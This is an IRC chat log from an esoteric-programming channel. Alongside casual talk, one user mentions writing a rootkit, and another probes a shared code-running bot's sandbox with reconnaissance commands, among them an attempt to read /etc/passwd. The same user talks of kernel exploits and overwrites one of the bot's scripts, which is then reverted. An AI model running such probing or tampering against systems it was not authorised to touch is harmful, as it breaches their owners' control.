15:03:02 <Jafet> I wonder if either language is actually interesting enough to write a page about
15:03:48 <wob_jonas> Jafet: I dunno, but there are hundreds of languages for which I could ask that, so I don't particularly care about Hodor there
15:04:05 -!- h0rsep0wer has quit (Quit: Leaving).
15:07:57 <HackEgo> [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51754&oldid=50877 * B jonas * (+73)
15:08:52 <HackEgo> [wiki] [[Hello world program in esoteric languages]] https://esolangs.org/w/index.php?diff=51755&oldid=51754 * B jonas * (+21)
15:21:55 -!- moonythedwarf has joined.
15:24:18 -!- Zarutian has joined.
15:24:37 -!- Soni has joined.
15:24:47 <Soni> how can I port gzip to sed?
15:25:18 <moonythedwarf> `relcome Soni
15:25:20 <HackEgo> Soni: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
15:25:25 <wob_jonas> Soni: gzip or gunzip?
15:25:25 <wob_jonas> as in, do you want to decompress only, or compress too?
15:25:40 <Soni> I need both
15:25:58 <Soni> I wanna sed compressed files using a self-contained sed script
15:26:23 <Soni> in other words, I can't call gzip
15:27:53 <wob_jonas> Soni: shell out to an external command, sed can do that; if you don't want that, and want to do the computation in sed, then start from https://pts.50.hu/muzcat-mini-latest.tar.gz which has gzip decompression code translated from a template to many programming languages,
15:28:28 <wob_jonas> and from the famous dc.sed program (iirc included in the sed source code) which shows how to do arithmetic in dc (but beware, I think one of the comments in that source code is a lie),
15:28:34 <Soni> wait, sed can call external commands?
15:28:39 <moonythedwarf> yea it can
15:28:44 <Soni> I can write a git remote helper in sed? O_o
15:28:53 <moonythedwarf> yup, just try hard enough
15:29:02 <Soni> wow, ok
15:29:10 <moonythedwarf> 'e' is the character used to run a command from the current string i believe
15:29:40 <wob_jonas> and for compression, perhaps just do fake compression where you store uncompressed stuff in gzip format (there are two ways for that, an easy where the whole file is uncompressed, and a subtle where it appears to be compressed but actually everything is literal blocks in the compressed format)
15:29:50 <wob_jonas> Soni: yes, it can, read the manual
15:31:12 <wob_jonas> I think the commands are r! and w! but I'm not sure
15:31:13 <wob_jonas> I don't use sed for such things
15:32:35 <wob_jonas> and hope you have a sane sed, not one of those ancient versions that can only handle lines of up to 4096 bytes long
15:34:28 <Soni> GNU sed?
15:35:21 <wob_jonas> gnu sed is probably the best
15:35:36 <Soni> I wish it had a JIT
15:35:48 <moonythedwarf> `sed "this isnt how you sed, but feel free to test your ideas here"
15:35:48 <HackEgo> ​/bin/sed: -e expression #1, char 1: unknown command: `"'
15:35:53 <moonythedwarf> `help
15:35:53 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
15:35:55 <wob_jonas> gnu always takes the zero-one-infinity rule seriously. too seriously, IMO, so much that it hurts them.
15:43:16 -!- orby has joined.
15:43:56 <moonythedwarf> `help
15:43:57 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
16:08:59 <FireFly> `sed s/.*/hello/
16:09:16 <FireFly> Hmm
16:09:25 <FireFly> I guess stdin might not be closed
16:09:29 <HackEgo> No output.
16:09:44 <FireFly> `` sed 's/.*/hello/' </dev/null
16:09:45 <HackEgo> No output.
16:09:48 <olsner> I think that's a no-op unless sed gets at least one line of input
16:09:50 <FireFly> oh, well duh
16:10:13 <wob_jonas> `sed s/.*/hello/
16:10:13 <wob_jonas> no, it's just slow
16:10:25 <olsner> there should be a /dev/newline that's just a single newline followed by EOF
16:10:28 -!- CodingBat has joined.
16:10:43 <HackEgo> No output.
16:10:52 <wob_jonas> olsner: you can use a regular file for that
16:25:13 -!- erkin has joined.
16:35:20 -!- CodingBat has quit (Quit: Page closed).
16:38:37 <wob_jonas> niec
17:29:20 <\oren\> Apparently Fascist South Africa can still abolish apartheid
17:30:14 <\oren\> I've been quite successful. I conquered Britain
17:31:22 <wob_jonas> \oren\: is this a video game? what game?
17:31:41 <\oren\> Hearts of Iron IV
17:32:00 <\oren\> I'm trying to get all the ahievements
17:32:06 <wob_jonas> I see
17:32:24 <\oren\> I have 19 out of 45
17:32:35 <wob_jonas> in a single game, or multiple games together?
17:32:46 <\oren\> you can't get all of them in one game
17:32:59 <wob_jonas> ok
17:33:23 <\oren\> some are things like "As south africa, have Edward VIII as your king and own jerusalem"
17:33:48 <\oren\> or "As Netherlands, conquer Belgium and Luxembourg"
17:38:16 <wob_jonas> One thing I wanted to ask is, in Questionable Content, is Faye a PC (protagonist character or player character)? Because when she interviewed to the fight ring, she mentioned adding spikes to an armor, which sounds close to something a PC shouldn't be allowed to do.
17:39:26 <wob_jonas> If a PC can just upgrade armor to better armor without insane expense, that can come close to broken power level, when she just makes herself +12 weapons and full gear of +12 armor early and become invincible. There's a good reason why PCs are normally required to farm for random good armor and weapons, or buy them from shopkeepers that are hard to
17:39:26 <wob_jonas> steal from.
17:39:41 <\oren\> http://steamcommunity.com/id/orenwatson/myactivity
17:39:56 <wob_jonas> But at the start of QC, when Faye moved into with Marten, it looked like she was a PC.
17:39:56 <wob_jonas> So I don't know what to think.
17:40:19 -!- ais523 has joined.
17:40:47 <ais523> @ask oerjan Do you know where the content formerly hosted on oerjan.nvg.org is now? I'm interested in your Shove interpreter
17:40:48 <lambdabot> Consider it noted.
17:40:56 <moonythedwarf> For an experiment, i decided to try writing a rootkit in rust. Any headsups you may want to give me on possible pitfalls (using the Winapi and kernel32-sys libraries, alongside others i pick up if needed)
17:41:04 <\oren\> Faye is one of those overpowered characters that is part of your party but leaves later
17:41:47 <wob_jonas> \oren\: she hasn't seem to left yet, and she knew welding from the start
17:42:22 <ais523> btw, it's not urgent (I found a copy in the web archive), but it'd be good to have a live URL
18:03:11 -!- hppavilion[0] has joined.
18:06:04 <HackEgo> [wiki] [[Teriyaki]] https://esolangs.org/w/index.php?diff=51756&oldid=51746 * Orby * (+1412) Adding information about sound and improving timing to be closer to NTSC
18:06:25 -!- Jauler has joined.
18:09:05 <HackEgo> [wiki] [[Special:Log/newusers]] create * Itay2805 * New user account
18:10:44 -!- Jauler has quit (Remote host closed the connection).
18:15:26 -!- kiki` has joined.
18:17:17 <\oren\> I think next time I'll get the achivement for freeing all the african colonies
18:17:19 <\oren\> which inevitably means fighting a war with belgium, UK, France and Portugal, probably all at once. FUN!
18:26:04 <orby> Is esolangs down?
18:26:34 <wob_jonas> orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600
18:26:58 <wob_jonas> orby: and it seems the wiki is up
18:26:59 <orby> wob_jonas: I stand corrected. Man that's brutal.
18:27:42 <wob_jonas> I'm not sure if it makes much of a difference. The difficulty is how slow the cpu is.
18:28:08 <wob_jonas> And it has to keep up with the line scans.
18:28:28 <orby> yeah, I mean the c64 was similar in terms of speed, but the hardware was much nicer
18:28:52 <wob_jonas> yes, the c64 has a framebuffer
18:28:58 <orby> yeah exactly
18:29:02 <wob_jonas> the a2600 has to mess with the video every scanline usually
18:29:07 <wob_jonas> if it wants he graphics to change
18:29:12 <orby> that's my understanding
18:29:23 -!- quinor has joined.
18:29:23 <orby> I've never actually coded for it, but I've read about it
18:29:28 <moonythedwarf> `relcome quinor
18:29:35 <HackEgo> quinor: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
18:29:42 * moonythedwarf waits for hackego, the slowest bot in mexico, to respond
18:29:42 <quinor> hey moonythedwarf
18:30:27 <moonythedwarf> ^^^ Give him a haskell. Or a copy of lethal overengineering. He demands it.
18:32:03 <wob_jonas> on the plus side, it has hardware sprite-sprite and sprite-tile collision detection, so the video processor tells you whether the bullet has hit the spaceship in a pixel-perfect manner
18:32:20 <wob_jonas> no more mucking with hitboxes that don't seem to correspond to the shape of the sprite
18:32:40 <orby> at least there's that
18:32:53 <orby> hmmm, still no esolangs for me, strange
18:33:02 <orby> I'm getting a gateway timeout
18:33:18 <moonythedwarf> quinor, \/
18:33:19 <moonythedwarf> `help
18:33:20 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:33:22 <wob_jonas> of course, you have to update the sprite every scanline for that, so it's not much of a win
18:33:40 <wob_jonas> fungot, how many treasure do you have?
18:33:41 <fungot> wob_jonas: lambda calculus for an 11 year old is playing with her at the moment? nothing :) but tried something earlier today
18:33:53 <moonythedwarf> cant remember, does hackego have a haskell compiler?
18:34:00 <moonythedwarf> > zip [1..] [2..]
18:34:02 <lambdabot> [(1,2),(2,3),(3,4),(4,5),(5,6),(6,7),(7,8),(8,9),(9,10),(10,11),(11,12),(12,...
18:35:20 <quinor> let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib
18:35:23 <HackEgo> [wiki] [[Teriyaki]] M https://esolangs.org/w/index.php?diff=51757&oldid=51756 * Orby * (-24) Clean up, typos, etc
18:35:31 <moonythedwarf> quinor, has to be prefixed with >
18:35:36 <quinor> > let fib = 0 : 1 : zipWith (+) fib (tail fib) in take 20 fib
18:35:38 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181]
18:35:43 <quinor> werkz
18:36:47 <wob_jonas> moony: I think it does have an old ghc somewhere
18:36:54 <moonythedwarf> `ghc
18:36:55 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found
18:37:00 <moonythedwarf> `ls
18:37:01 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
18:37:13 <moonythedwarf> i'll look later
18:37:27 <wob_jonas> ... or not
18:37:46 <wob_jonas> maybe it's just a trace remaining from that old thing HackEgo/interps was originally supposed to replace
18:37:46 <wob_jonas> but no actual ghc
18:37:47 <wob_jonas> ?
18:37:51 <wob_jonas> dunon
18:38:33 <moonythedwarf> `hugs better not have hugs
18:38:34 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: hugs: not found
18:39:05 <wob_jonas> it might be interps stuff. how do we run that?
18:39:18 <moonythedwarf> `ls interps
18:39:19 <HackEgo> 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda
18:39:32 <moonythedwarf> yup, there it is
18:39:37 <moonythedwarf> `interps/ghc
18:39:38 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/interps/ghc: Is a directory \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/interps/ghc: cannot execute: Is a directory
18:39:44 <moonythedwarf> `ls interps/ghc
18:39:44 <wob_jonas> but what's the bin command?
18:39:44 <wob_jonas> `? `!
18:39:45 <HackEgo> runghc
18:39:45 <HackEgo> ​! is a syntax used in Haskell and Prolog for solving evaluation order problems.
18:39:54 <wob_jonas> `? `run
18:39:55 <HackEgo> ​`run? ¯\(°​_o)/¯
18:39:59 <wob_jonas> hehe
18:40:07 <moonythedwarf> `interps/ghc/runghc
18:40:24 <moonythedwarf> i booped hackego by mistake. whoop
18:40:38 <HackEgo> No output.
18:40:47 <moonythedwarf> ...No output?
18:40:50 * moonythedwarf thonks
18:41:00 <moonythedwarf> `interps/ghc/runghc -h
18:41:01 <HackEgo> cat: invalid option -- 'h' \ Try 'cat --help' for more information. \ /hackenv/interps/ghc/runghc: line 5: /opt/ghc/bin/runhaskell: No such file or directory
18:41:11 <moonythedwarf> wat
18:41:26 <moonythedwarf> `cat interps/ghc/runghc
18:41:27 <HackEgo> ​#!/bin/bash \ src=$(cat $1) \ if ! ghc -e "$src" 2> /dev/null \ then \ /opt/ghc/bin/runhaskell <<< $src \ fi
18:41:28 -!- DHeadshot has joined.
18:41:38 <moonythedwarf> eww
18:42:13 <quinor> what's that bot?
18:42:20 <moonythedwarf> `help
18:42:20 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:42:22 <moonythedwarf> thats the bot
18:42:25 <quinor> I mean, what's it running on
18:42:33 <quinor> and should I fuck it
18:42:37 <quinor> I mean, hack it
18:42:41 <moonythedwarf> Gregor's linux server, somewhere. dont fuck it, the esotericans will nom you.
18:42:58 <wob_jonas> I think the command is `!
18:43:03 <moonythedwarf> `!
18:43:04 <HackEgo> ​/hackenv/bin/!: 4: exec: ibin/: Permission denied
18:43:07 <quinor> never been nommed before
18:43:13 <wob_jonas> but I'm not sure how it works
18:43:28 <wob_jonas> no, like `! language code
18:43:40 <quinor> it just itches to make myself an ssh into it
18:43:44 <moonythedwarf> quinor, besides, we can revert your shit as long as you dont chmod 000 everything. if you do that you are in serious trouble because you broke the bot
18:43:47 <wob_jonas> for the old collection of esointerpreters, from before HackEgo
18:43:51 <moonythedwarf> quinor, bot doesnt have direct web access
18:44:08 <quinor> :(
18:44:12 <quinor> besides just kidding
18:44:25 <moonythedwarf> `? HackEgo
18:44:26 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico!
18:45:03 <quinor> ` uname -a
18:45:03 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
18:45:30 <moonythedwarf> you added a space
18:45:39 <quinor> `uname -a
18:45:40 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
18:45:50 <moonythedwarf> umlbox was written by Gregor too. :P
18:46:05 <wob_jonas> or too few backticks
18:46:05 <wob_jonas> ``` uname -a
18:46:05 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
18:46:08 <quinor> well, there are 0days on that kernel
18:49:22 <quinor> `ping google.com
18:49:23 <HackEgo> pong
18:49:39 <quinor> `ifconfig
18:49:40 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ifconfig: not found
18:49:43 -!- sleffy has joined.
18:49:43 <quinor> `ip -a
18:49:43 <HackEgo> Option "-a" is unknown, try "ip -help".
18:49:50 <quinor> `ip a
18:49:51 <HackEgo> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default \ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 \ inet 127.0.0.1/8 scope host lo \ valid_lft forever preferred_lft forever \ inet6 ::1/128 scope host \ valid_lft forever preferred_lft forever \ 2: sit0: <NOARP> mtu 1480 qdisc noop s
18:50:20 <quinor> `whoami
18:50:21 <HackEgo> whoami: cannot find name for user ID 5000
18:50:33 <quinor> `whereis ls
18:50:36 <HackEgo> ls: /bin/ls /hackenv/bin/ls /usr/share/man/man1/ls.1.gz
18:50:38 <quinor> `whereis sudo
18:50:39 <HackEgo> sudo:
18:51:29 <quinor> `whereis wget
18:51:31 <HackEgo> wget: /usr/bin/wget /usr/share/man/man1/wget.1.gz
18:51:39 <quinor> `ls /usr/bin /bin
18:51:40 <HackEgo> ls: cannot access /usr/bin /bin: No such file or directory
18:51:44 <quinor> `ls /usr/bin
18:51:45 <HackEgo> ​[ \ 2to3 \ 2to3-2.6 \ 2to3-2.7 \ a2p \ addpart \ addr2line \ aot-compile \ appletviewer \ apropos \ apt \ apt-cache \ apt-cdrom \ apt-config \ apt-extracttemplates \ apt-ftparchive \ apt-get \ aptitude \ aptitude-create-state-bundle \ aptitude-curses \ aptitude-run-state-bundle \ apt-key \ apt-mark \ apt-sortpkgs \ ar \ arch \ as \ awk \ axi-cac
18:51:53 <quinor> `ls /bin
18:51:53 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chacl \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ getfacl \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ jo
18:51:54 <moonythedwarf> quinor, you can obviously grab files. there is a external command for it, `fetch
18:52:18 <wob_jonas> @grab files
18:52:18 <lambdabot> Unknown command, try @list
18:52:21 <moonythedwarf> and you have `paste, which gives you a link to that file in the mercual repository
18:52:48 <wob_jonas> `grab files
18:52:49 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: grab: not found
18:54:23 <quinor> anybody did any fun with the bod?
18:54:27 <quinor> *bot
18:55:41 <quinor> `echo $PWD
18:55:42 <HackEgo> ​$PWD
18:55:56 <quinor> pwd
18:55:58 <quinor> `pwd
18:55:59 <HackEgo> ​/hackenv
18:55:59 -!- hppavilion[0] has quit (Ping timeout: 240 seconds).
18:56:38 -!- hppavilion[0] has joined.
18:59:21 <moonythedwarf> quinor, i think most people did
18:59:39 <moonythedwarf> you can mess with it as long as you dont upset fizzie or shachaf
18:59:40 <quinor> what kind of fun? :D
18:59:53 <moonythedwarf> (they will destroy you if you break it :P )
19:00:01 <wob_jonas> build a wisdome for example
19:00:06 <wob_jonas> `? wisdome
19:00:07 <HackEgo> The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type `wisdom. Strictly speaking, it should be called the "Wissphere".
19:00:22 <moonythedwarf> quinor, Bowserinator or iovoid were the ones who found the chmod 0000 issue (by doing it to the bot lol)
19:01:12 <quinor> `apt-get update
19:01:14 <HackEgo> W: Unable to read /etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list.d/ - DirectoryExists (2: No such file or directory) \ W: Unable to read /etc/apt/sources.list - RealFileExists (2: No such file or directory) \ E: List directory /var/lib/apt/lists/partial is missing. - Acquire (2: No su
19:04:36 <moonythedwarf> what made you think that would work lol
19:05:10 <moonythedwarf> also, quinor, if you need the full output, redirect output to a file, and then `paste <filename> for a link to it
19:05:27 <quinor> yep, I see it
19:05:34 <quinor> nothing, just wanted to test a thing
19:05:41 <quinor> did not expect it to work
19:05:58 <quinor> `pwd
19:05:59 <HackEgo> ​/hackenv
19:06:13 <quinor> `file .
19:06:14 <HackEgo> ​.: directory
19:06:19 <quinor> `ls -la .
19:06:20 <HackEgo> ls: invalid option -- ' ' \ Try 'ls --help' for more information.
19:06:25 <quinor> `ls -la
19:06:26 <HackEgo> total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:05 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:05 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4
19:06:39 <moonythedwarf> quinor, you have to use `` for multiline (yes, thats actually just a linux command)
19:06:42 <moonythedwarf> `` ls -ls .
19:06:43 <HackEgo> total 328 \ 4 -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ 12 drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ 0 -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ 4 drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ 4 drwxr-xr-x 2 5000 0 4096 Mar 17 20:16 esobible \ 4 drwxr-xr-x 3 5000 0 4096 Oct 28 18:37 etc \ 4 drwxr-xr-
19:08:09 <quinor> why ls -la is multiline? -.-
19:08:44 <moonythedwarf> quinor, s/multiline/uh i dunno actually what the word that belongs here is/
19:08:58 <quinor> special chars?
19:09:04 <quinor> ``ls -la
19:09:05 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found
19:09:15 <quinor> `` ls -la
19:09:16 <HackEgo> total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:08 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4
19:09:23 <moonythedwarf> basically HackEgo takes it all as one command and a giant, single arg. <command><arg>
19:09:47 <\oren\> moonythedwarf: unless you use 11
19:09:50 <\oren\> moonythedwarf: unless you use ``
19:09:52 <quinor> `exec 'ls -la'
19:09:52 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found
19:09:58 -!- Nistur has joined.
19:10:03 <\oren\> `` ls -la .
19:10:04 <HackEgo> total 344 \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ -rw-r--r-- 1 5000 0 601 Mar 30 20:49 5pEV4X5h \ drwxr-xr-x 2 5000 0 12288 Apr 16 01:36 bin \ -rw-r--r-- 1 5000 0 0 Dec 3 04:29 canary \ drwxr-xr-x 2 5000 0 4096 Mar 10 23:53 emoticons \ drwxr-xr-x 2 5000 0 4
19:10:10 <\oren\> `` ls -la ..
19:10:11 <HackEgo> total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d
19:10:17 <\oren\> `` ls -la ../..
19:10:18 <HackEgo> total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:09 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:09 etc \ drwxr-xr-x 25 5000 5000 4096 Apr 17 18:09 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:09 home \ d
19:11:00 <Nistur> g'mornin'
19:11:37 <wob_jonas> and three backticks is even better than two
19:11:55 <moonythedwarf> wob_jonas, is four backticks better than three?
19:12:31 <wob_jonas> moonythedwarf: like most things, it's best at around pi
19:12:45 <wob_jonas> then it starts to fall
19:12:47 <quinor> `` echo $0
19:12:48 <HackEgo> ​/hackenv/bin/`
19:16:38 <quinor> `` file /hackenv/bin/`
19:16:39 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
19:16:44 <quinor> `` file /hackenv/bin/\`
19:16:45 <HackEgo> ​/hackenv/bin/`: Bourne-Again shell script, ASCII text executable
19:16:52 <quinor> `` cat /hackenv/bin/\`
19:16:53 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooooooooodl
19:17:57 <Nistur> wob_jonas: is 3 the correct number of yaks to shave then also?
19:18:05 <quinor> `` cat "x" > /hackenv/bin/\`
19:18:07 <HackEgo> cat: x: No such file or directory
19:18:19 <quinor> `ls
19:18:20 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:18:41 <quinor> `` ls|cat -> /hackenv/bin/\`
19:18:42 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:18:57 <quinor> `` cat /hackenv/bin/\`
19:18:57 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:19:09 <quinor> `ls
19:19:10 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:19:20 <quinor> `` cat /hackenv/bin/\`
19:19:21 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:19:29 <quinor> `` ls
19:19:29 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:19:38 <quinor> moonythedwarf: did it
19:19:52 -!- ais523 has quit.
19:19:55 <moonythedwarf> ?
19:20:00 -!- callforjudgement has joined.
19:20:06 <moonythedwarf> `/bin/ls
19:20:07 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:20:13 <quinor> double tick does not work
19:20:15 <moonythedwarf> i'll just revert back a little.
19:20:15 <quinor> `` ls
19:20:16 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:20:17 <moonythedwarf> ``
19:20:18 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:20:25 <moonythedwarf> quinor, thats not hard to do lol
19:20:43 <quinor> yep, but I screwed up just a tiny bit
19:21:17 <moonythedwarf> `rv
19:21:17 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rv: not found
19:21:21 <moonythedwarf> `revert
19:21:22 <HackEgo> Done.
19:21:24 <moonythedwarf> ``
19:21:25 <HackEgo> No output.
19:21:34 <moonythedwarf> `` ls
19:21:34 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:21:41 <moonythedwarf> quinor, magical revert is magical
19:21:55 <wob_jonas> `` echo $BASH_VERSION
19:21:56 <HackEgo> 4.3.30(1)-release
19:22:56 <quinor> dirty cow?
19:23:10 <moonythedwarf> quinor, go ahead and try. *shrug*
19:24:16 <quinor> `` cat /hackenv/bin/\`
19:24:17 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnoooooodl
19:25:16 <wob_jonas> ``` apt-get moo 2>/dev/null # cow
19:25:17 <HackEgo> ​ (__) \ (oo) \ /------\/ \ / | || \ * /\---/\ \ ~~ ~~ \ ..."Have you mooed today?"...
19:25:41 <quinor> `` echo "this is only a test" > testfile
19:25:43 <HackEgo> No output.
19:25:48 <quinor> `` cat testfile
19:25:49 <HackEgo> this is only a test
19:29:59 <quinor> `` cat /etc/passwd
19:29:59 <HackEgo> cat: /etc/passwd: No such file or directory
19:30:08 <quinor> `` ls /etc
19:30:09 <HackEgo> alternatives \ java-6-openjdk
19:37:32 -!- DHeadshot has quit (Ping timeout: 255 seconds).
19:43:01 <moonythedwarf> https://gfycat.com/AstonishingFrequentDiscus <<< Beseige, the land of killer mathbooks
19:43:20 <quinor> `` whereis setuid
19:43:22 <HackEgo> setuid: /usr/share/man/man2/setuid.2.gz
19:43:33 <quinor> it's neatly castrated
19:44:08 <wob_jonas> `quote
19:44:08 <wob_jonas> `wisdom
19:44:08 <wob_jonas> `recipe
19:44:08 <HackEgo> 22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: <oerjan> sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers
